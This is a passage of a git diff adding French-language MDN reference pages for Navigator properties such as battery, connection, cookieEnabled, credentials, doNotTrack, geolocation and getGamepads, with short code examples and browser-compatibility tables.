+ <dd>Déclenché lorsque le temps de decharge de la batterie est mis à jour.</dd>
+ <dt><code>levelchange</code></dt>
+ <dd>Déclenché lorsque le niveau de charge de la batterie est mis à jour.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Voir aussi <a class="external" href="http://dev.w3.org/2009/dap/system-info/battery-status.html#introduction">l'exemple dans la specification</a>.</p>
+
+<pre class="brush: js">var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery;
+
+function updateBatteryStatus() {
+  alert("Battery status: " + battery.level * 100 + " %");
+
+  if (battery.charging) {
+    alert("Battery is charging");
+  }
+}
+
+battery.addEventListener("chargingchange", updateBatteryStatus);
+battery.addEventListener("levelchange", updateBatteryStatus);
+updateBatteryStatus();
+</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20 {{ property_prefix("webkit") }}</td>
+   <td>10.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>20 {{ property_prefix("webkit") }}</td>
+   <td>10.0 {{ property_prefix("moz") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<p>Désactivée par défaut dans Firefox 10.0, mais peut etre activée en réglant <code>dom.battery.enabled</code> à <code>vrai</code>. A partir de Firefox 11.0, <code>mozBattery</code> est activé par défaut.</p>
+
+<div class="note"><strong>Note:</strong> L'API Batterie est actuellement supportée sur Android, Windows et Linux avec UPower installé. Le support de MacOS est disponible à partir de Gecko 18.0 {{geckoRelease("18.0")}}.</div>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li>{{ spec("http://dev.w3.org/2009/dap/system-info/battery-status.html", "Battery Status API Specification", "ED") }}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Blog post - Using the Battery API</a></li>
+ <li><a class="external" href="http://davidwalsh.name/battery-api" title="http://davidwalsh.name/battery-api">David Walsh on the Javascript Battery Api</a></li>
+</ul>
+
+<p>{{ languages( {"zh-cn": "zh-cn/DOM/window.navigator.battery" } ) }}</p>
diff --git a/files/fr/web/api/navigator/connection/index.html b/files/fr/web/api/navigator/connection/index.html
new file mode 100644
index 0000000000..492a24cac4
--- /dev/null
+++ b/files/fr/web/api/navigator/connection/index.html
@@ -0,0 +1,95 @@
+---
+title: Navigator.connection
+slug: Web/API/Navigator/connection
+tags:
+  - API
+  - Connexion
+  - Expérimental(2)
+  - Navigateur
+  - Propriété
+translation_of: Web/API/Navigator/connection
+---
+<p>{{APIRef("Network Information API")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>Navigator.connection</strong></code> est une propriété en lecture seule, elle représente une {{domxref("NetworkInformation")}} qui contient les informations de la connexion du système, telles que la  bande passante actuelle du périphérique utilisateur ou si la connexion est mesurée. La propriété peut être utilisée pour sélectionner un contenu en haute ou basse définition, dépendant de la connexion de l'utilisateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>connexionInfo</em> = navigator.connection</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Network Information', '#h-the-connection-attribute', 'Navigator.connection')}}</td>
+   <td>{{Spec2('Network Information')}}</td>
+   <td>Spécification initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>61</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.2 {{property_prefix("webkit")}}</td>
+   <td>12.0<sup>[1]</sup></td>
+   <td>1.4</td>
+   <td>{{CompatNo}}</td>
+   <td>37</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">[1] L'API Network peut être désactivé en utilisant la préférence <code>dom.netinfo.enabled</code>.</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Évènements_online_et_offline">Évènements online et offline</a></li>
+</ul>
diff --git a/files/fr/web/api/navigator/cookieenabled/index.html b/files/fr/web/api/navigator/cookieenabled/index.html
new file mode 100644
index 0000000000..eff4726ea4
--- /dev/null
+++ b/files/fr/web/api/navigator/cookieenabled/index.html
@@ -0,0 +1,49 @@
+---
+title: Navigator.cookieEnabled
+slug: Web/API/Navigator/cookieEnabled
+translation_of: Web/API/Navigator/cookieEnabled
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<p><span class="seoSummary"><code>navigator.cookieEnabled</code></span> retourne une valeur booléenne qui indique si les cookies sont activés. Cette propriété est en lecture seule.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var cookieEnabled = navigator.cookieEnabled;
+</pre>
+
+<ul>
+ <li><code>cookieEnabled</code> est un <a href="/en-US/docs/Glossary/Boolean">Boolean</a>: <code>true</code> ou <code>false</code>.</li>
+</ul>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">if (!navigator.cookieEnabled) {
+  // Ce navigateur ne supporte pas ou bloque les cookies.
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webappapis.html#dom-navigator-cookieenabled", "Navigator.cookieEnabled")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Navigator.cookieEnabled")}}</p>
diff --git a/files/fr/web/api/navigator/credentials/index.html b/files/fr/web/api/navigator/credentials/index.html
new file mode 100644
index 0000000000..e56091be03
--- /dev/null
+++ b/files/fr/web/api/navigator/credentials/index.html
@@ -0,0 +1,59 @@
+---
+title: Navigator.credentials
+slug: Web/API/Navigator/credentials
+tags:
+  - API
+  - Credential Management API
+  - CredentialsContainer
+  - Propriété
+  - Reference
+translation_of: Web/API/Navigator/credentials
+---
+<p>{{securecontext_header}}{{APIRef("")}}</p>
+
+<p>La propriété <strong><code>credentials</code></strong>, rattachée à l'interface {{domxref("Navigator")}}, renvoie l'interface {{domxref("CredentialsContainer")}} qui expose des méthodes pour demander des informations d'authentification. L'interface {{domxref("CredentialsContainer")}} notifie également l'agent utilisateur lorsqu'un évènement pertinent se produit (une connexion ou une déconnexion réussie par exemple). Cette propriété peut être utilisée pour détecter si la fonctionnalité est prise en charge ou non.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var credentialsContainer = navigator.credentials</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>L'interface {{domxref("CredentialsContainer")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">if ('credentials' in navigator) {
+  navigator.credentials.get({password: true})
+  .then(function(creds) {
+    // Gérer les informations d'authentification
+  });
+} else {
+  // Gérer la connexion comme avant
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Navigator.credentials")}}</p>
diff --git a/files/fr/web/api/navigator/donottrack/index.html b/files/fr/web/api/navigator/donottrack/index.html
new file mode 100644
index 0000000000..e1cd620c45
--- /dev/null
+++ b/files/fr/web/api/navigator/donottrack/index.html
@@ -0,0 +1,112 @@
+---
+title: Navigator.doNotTrack
+slug: Web/API/Navigator/doNotTrack
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - Reference
+translation_of: Web/API/Navigator/doNotTrack
+---
+<p>{{ApiRef("HTML DOM")}}{{SeeCompatTable}}</p>
+
+<p>Renvoi le <span class="short_text" id="result_box" lang="fr"><span class="hps">paramètre</span></span> utilisateur de <strong>do-not-track</strong>. Cette valeur est "1" si l´utilisateur a demandé de ne pas <span id="result_box" lang="fr"><span class="hps">être suivi</span> <span class="hps">par les sites web</span><span>, le contenu ou</span> <span class="hps">la publicité</span><span>.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="eval"><em>dnt</em> = <em>navigator</em>.doNotTrack;
+</pre>
+
+<p><span class="short_text" id="result_box" lang="fr"><span>La valeur reflète celle de l'en-tête "do-not-track" <em>(ne pas suivre)</em>,</span></span> c'est-à-dire {"1", "0", "unspecified" }. Note : <span class="short_text" id="result_box" lang="fr"><span>Avant Gecko 32, Gecko a utilisé les valeurs</span></span> { "yes", "no", "unspecified"} (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=887703">bug 887703</a>).</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="eval">dump(window.navigator.doNotTrack);
+//  <span id="result_box" lang="fr"><span>écrit "1" si DNT est activé;</span> <span>"0" si l'utilisateur a opté pour le suivi;</span> <span>sinon c'est "</span></span><span lang="fr"><span>unspecified" <em>(non spécifié)</em></span></span>
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Tracking", "#widl-Navigator-doNotTrack", "Navigator.doNotTrack")}}</td>
+   <td>{{Spec2("Tracking")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalités</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23</td>
+   <td>{{CompatGeckoDesktop("9.0")}}<sup>[1]</sup></td>
+   <td>9<sup>[2]</sup><br>
+    11[3]</td>
+   <td>12</td>
+   <td>5.1<sup>[4]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalités</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span id="result_box" lang="fr"><span>Avant Gecko 32 de Firefox, navigator.doNotTrack rapportait</span></span><span lang="fr"><span> les valeurs </span></span> <code>yes</code> <span lang="fr"><span> et </span></span> <code>no</code> <span lang="fr"><span> à la place de </span></span> <code>1</code> <span lang="fr"><span> et </span></span> <code>0</code> <span lang="fr"><span>.</span></span></p>
+
+<p>[2] Internet Explorer 9 et 10 utilisent le préfixe du fournisseur, c'est-à-dire <code>navigator.msDoNotTrack</code>.</p>
+
+<p>[3] Internet Explorer 11 et Edge utilisent <code>window.doNotTrack</code> au lieu de <code>navigator.doNotTrack</code>.</p>
+
+<p>[4] Safari 7.1.3+ utilise <code>window.doNotTrack</code> au lieu de <code>navigator.doNotTrack</code>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en/The_Do_Not_Track_Field_Guide" title="https://developer.mozilla.org/en/The_Do_Not_Track_Field_Guide">The Do Not Track field guide</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/navigator/geolocation/index.html b/files/fr/web/api/navigator/geolocation/index.html
new file mode 100644
index 0000000000..d2bf92e515
--- /dev/null
+++ b/files/fr/web/api/navigator/geolocation/index.html
@@ -0,0 +1,106 @@
+---
+title: Navigator.geolocation
+slug: Web/API/Navigator/geolocation
+tags:
+  - API
+  - Géolocalisation API
+  - Navigateur
+  - Propriété
+  - Reference
+translation_of: Web/API/Navigator/geolocation
+---
+<div>{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>Navigator.geolocation</code></strong> est une propriété en lecture seule, qui retoune un objet {{domxref("Geolocation")}} donnant accès aux contenus web de localisation de l'appareil. Ceci permet à un site Internet ou à une application d'offrir des résultats personnalisés basés sur la localisation des utilisateurs.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Pour des raisons de sécurité, quand une page web essaie d'accéder aux informations de localisation, l'utilisateur reçoit une notification qui lui demande la permission d'activer cette fonctionnalité. Chaque navigateur a sa propre politique et ses propres méthodes pour demander cette permission.</p>
+</div>
+
+<h2 id="Syntaxe"><br>
+ Syntaxe</h2>
+
+<pre class="syntaxbox"><var>geo</var> = <var>navigator</var>.geolocation
+</pre>
+
+<h2 id="Spécifications"><br>
+ Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#navi-geo', 'Navigator.geolocation')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateur"><br>
+ Compatibilité navigateur</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>51</td>
+   <td>51</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>10</td>
+   <td>10.60</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi"><br>
+ Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Utiliser la géolocalisation</a></li>
+</ul>
diff --git a/files/fr/web/api/navigator/getgamepads/index.html b/files/fr/web/api/navigator/getgamepads/index.html
new file mode 100644
index 0000000000..d936f8262f
--- /dev/null
+++ b/files/fr/web/api/navigator/getgamepads/index.html
@@ -0,0 +1,53 @@
+---
+title: Navigator.getGamepads()
+slug: Web/API/Navigator/getGamepads
+translation_of: Web/API/Navigator/getGamepads
+---
+<p>{{ APIRef("Navigator") }}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>Navigator.getGamepads()</code></strong> renvoie un tableau d'objets {{ domxref("Gamepad") }}, un par contrôleur connecté à la machine.</p>
+
+<p>Des éléments dans le tableau peuvent être <code>null</code> si un contrôleur est déconnecté durant la session, ainsi les autres restants gardent le même indice.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"> var arrayGP = navigator.getGamepads();</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[0];
+  console.log("Contrôleur n°%d connecté : %s. %d boutons, %d axes.",
+  gp.index, gp.id,
+  gp.buttons.length, gp.axes.length);
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gamepad', '', 'The Gamepad API specification')}}</td>
+   <td>{{Spec2('Gamepad')}}</td>
+   <td>Première définition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Navigator.getGamepads")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/API/Gamepad">Utiliser l'API Gamepad</a></li>
+ <li><a href="/fr/docs/Web/API/Gamepad_API">L'API Gamepad</a></li>
+</ul>
diff --git a/files/fr/web/api/navigator/id/index.html b/files/fr/web/api/navigator/id/index.html
new file mode 100644
index 0000000000..1da4e224cd
--- /dev/null
+++ b/files/fr/web/api/navigator/id/index.html
@@ -0,0 +1,17 @@
+---
+title: navigator.id
+slug: Web/API/Navigator/id
+tags:
+  - Navigator
+  - Persona
+translation_of: Archive/Navigator-id
+---
+<div>{{ ApiRef("Persona") }}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p>Le <a href="/en-US/docs/Persona" title="BrowserID">protocole BrowserID</a> définit une nouvelle propriété <code>id</code> dans l'objet {{ domxref ("window.navigator")}}, dans laquelle l'API BrowserID est rendue disponible. Cette API a subi plusieurs importantes modifications. Chaque modification est listée séparément ci-dessous.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="line-numbers  language-html"><code class="language-html">var id = navigator.id</code></pre>
diff --git a/files/fr/web/api/navigator/index.html b/files/fr/web/api/navigator/index.html
new file mode 100644
index 0000000000..e8e395d3e7
--- /dev/null
+++ b/files/fr/web/api/navigator/index.html
@@ -0,0 +1,164 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+tags:
+  - API
+  - DOM4
+  - Interface
+  - Navigateur
+  - Références(2)
+  - Web
+translation_of: Web/API/Navigator
+---
+<p>{{ APIRef("DOM4") }}</p>
+
+<p>L'interface <code><strong>Navigator</strong></code> représente l'état et l'identité de l'agent utilisateur. Elle permet aux scripts de l'interroger et de s'enregister eux-mêmes pour poursuivre certaines tâches.</p>
+
+<p>Un objet <code>Navigator</code> peut être récupéré en utilisant la propriété en lecture seule {{domxref("Window.navigator")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>N'hérite d'aucune propriété, mais implémente celles définies dans </em> <em>{{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorStorage")}}, {{domxref("NavigatorStorageUtils")}}, {{domxref("NavigatorConcurrentHardware")}}, {{domxref("NavigatorPlugins")}}</em> <em> et </em> <em>{{domxref("NavigatorUserMedia")}}.</em></p>
+
+<h3 id="Standard">Standard</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne un tableau contenant chaque objet {{domxref("VRDisplay")}} qui est actuellement en train d'être présenté ({{domxref("VRDisplay.ispresenting")}} <code>est true <em>(vrai)</em></code>).</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("NavigatorID.appCodeName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne le nom de "code" interne du navigateur actuel. Ne vous fiez pas à cette propriété pour renvoyer la valeur correcte.</dd>
+ <dt>{{domxref("NavigatorID.appName")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> avec le nom officiel du navigateur. Ne vous fiez pas à cette propriété pour renvoyer la valeur correcte.</dd>
+ <dt>{{domxref("NavigatorID.appVersion")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne la version du navigateur en tant que {{domxref("DOMString")}} <em>(chaîne de caractères)</em>. Ne vous fiez pas à cette propriété pour renvoyer la valeur correcte.</dd>
+ <dt>{{domxref("Navigator.battery")}} {{readonlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("BatteryManager")}} que vous pouvez utiliser pour récupérer des information sur l'état de chargement de la batterie.</dd>
+ <dt>{{domxref("Navigator.connection")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Fournit un objet  {{domxref("NetworkInformation")}} contenant les informations sur la connection réseau du matériel.</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{readonlyinline}}</dt>
+ <dd>Retourne "false" <em>(faux)</em> <span id="result_box" lang="fr"><span>si la définition d'un cookie est ignorée et "true" <em>(vrai)</em> dans le cas contraire.</span></span></dd>
+ <dt>{{domxref("NavigatorGeolocation.geolocation")}} {{readonlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("Geolocation")}} permettant d'accéder à la géolocalisation de l'appareil.</dd>
+ <dt>{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readOnlyInline}}</dt>
+ <dd>Retourne le nombre de processeurs logiques disponibles</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne une marque ("flag") {{domxref("Boolean")}} indiquant si java est activé ou non.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> représentant la langue préférée de l'utilisateur, généralement celle de l'interface utilisateur du navigateur. La valeur <code>Null</code> est retournée quand elle est inconnue.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt>
+ <dd>Retourne un tableau de {{domxref("DOMString")}} représentant les langues connues par l'utilisateur, par ordre de préférence.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne un {{domxref("MimeTypeArray")}} listant les types MIME supportés par le navigateur.</dd>
+ <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("Boolean")}} indiquant si le navigateur fonctionne avec une connexion internet.</dd>
+ <dt>{{domxref("Navigator.oscpu")}}</dt>
+ <dd>Retourne une chaîne de caractères représentant le système d'exploitation utilisé.</dd>
+ <dt>{{domxref("Navigator.permissions")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Retourne un objet {{domxref("Permissions")}} qui peut être utilisé pour interroger et mettre à jour les permissions des API couvertes par <a href="https://developer.mozilla.org/en-US/docs/Web/API/Permissions_API">Permissions API</a>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("NavigatorID.platform")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne une chaîne de caractères représentant la plateforme du navigateur. Ne pas attendre de cette fonction qu'elle retourne une valeur significative.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne un {{domxref("PluginArray")}} listant les modules installés sur le navigateur.</dd>
+ <dt>{{domxref("NavigatorID.product")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Retourne toujours <code>'Gecko'</code>, sur n'importe quel navigateur. Cette propriété est gardée juste dans un but de compatibilité.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("ServiceWorkerContainer")}}, contenant l'accès à l'enregistrement, la suppression, la mise à jour et la communication avec l'objet {{domxref("ServiceWorker")}} pour les <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">documents associés</a>.</dd>
+ <dt>{{domxref("Navigator.storage")}} {{readonlyinline}}</dt>
+ <dd>Retourne un objet unique {{domxref('StorageManager')}} utilisé pour gérer les autorisations de persistance et estimer l'espace disponible sur une base site par site / application par application.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Retourne la chaîne de caractères de l'agent utilisateur du navigateur actuel.</dd>
+</dl>
+
+<h3 id="Methods" name="Methods">Non-standard</h3>
+
+<div class="note">
+<p><span id="result_box" lang="fr"><span>Les périphériques Firefox OS ajoutent d'autres propriétés non standard.</span> <span>Vous pouvez les consulter sur l'article </span></span> <a href="https://developer.mozilla.org/fr/docs/Mozilla/Firefox_OS/API/Navigator">Firefox OS Navigator extensions</a></p>
+</div>
+
+<dl>
+ <dt>{{domxref("Navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Retourne l'identifiant constructeur du navigateur (par exemple, "2006090803").</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{non-standard_inline}}</dt>
+ <dd>Retourne un booléen indicant si les cookies sont activés dans le navigateur ou pas.</dd>
+ <dt>{{domxref("Navigator.credentials")}} {{non-standard_inline}}</dt>
+ <dd>Retourne une interface {{domxref("CredentialsContainer")}} <span id="result_box" lang="fr"><span>qui expose des méthodes pour demander des informations d'identification et avertir l'agent utilisateur lorsque des événements intéressants se produisent, tels que la connexion réussie ou la déconnexion.</span></span></dd>
+ <dt>{{domxref("navigator.doNotTrack")}} {{non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Indique la valeur de la préférence de non-suivi de l'utilisateur.</span> <span>Lorsque cette valeur est "oui", votre site Web ou votre application ne doit pas suivre l'utilisateur.</span></span></dd>
+ <dt>{{domxref("Navigator.id")}} {{non-standard_inline}}</dt>
+ <dd>Retourne l'objet {{domxref("window.navigator.id", "id")}} <span id="result_box" lang="fr"><span>que vous pouvez utiliser pour ajouter le support pour</span></span> <a href="/en-US/docs/BrowserID" title="BrowserID">BrowserID</a> vers votre site web.</dd>
+ <dt>{{domxref("Navigator.mediaDevices")}} {{non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Renvoie une référence à un objet {{domxref ("MediaDevices")}} qui peut ensuite être utilisée pour obtenir des informations sur les périphériques multimédia disponibles {{domxref ("MediaDevices.enumerateDevices ()")}}</span>, trouver</span><span id="result_box" lang="fr"><span> quelles propriétés contraignantes sont supportées par les médias de l'ordinateur de l'utilisateur et l'agent utilisateur {{domxref ("MediaDevices.getSupportedConstraints ()")}}), et demander l'accès aux médias à l'aide de {{domxref ("MediaDevices.getUserMedia ()</span> <span>")}}.</span></span></dd>
+ <dt>{{domxref("Navigator.mozNotification")}} {{deprecated_inline("22")}} {{non-standard_inline}}<br>
+ {{domxref("Navigator.webkitNotification")}}</dt>
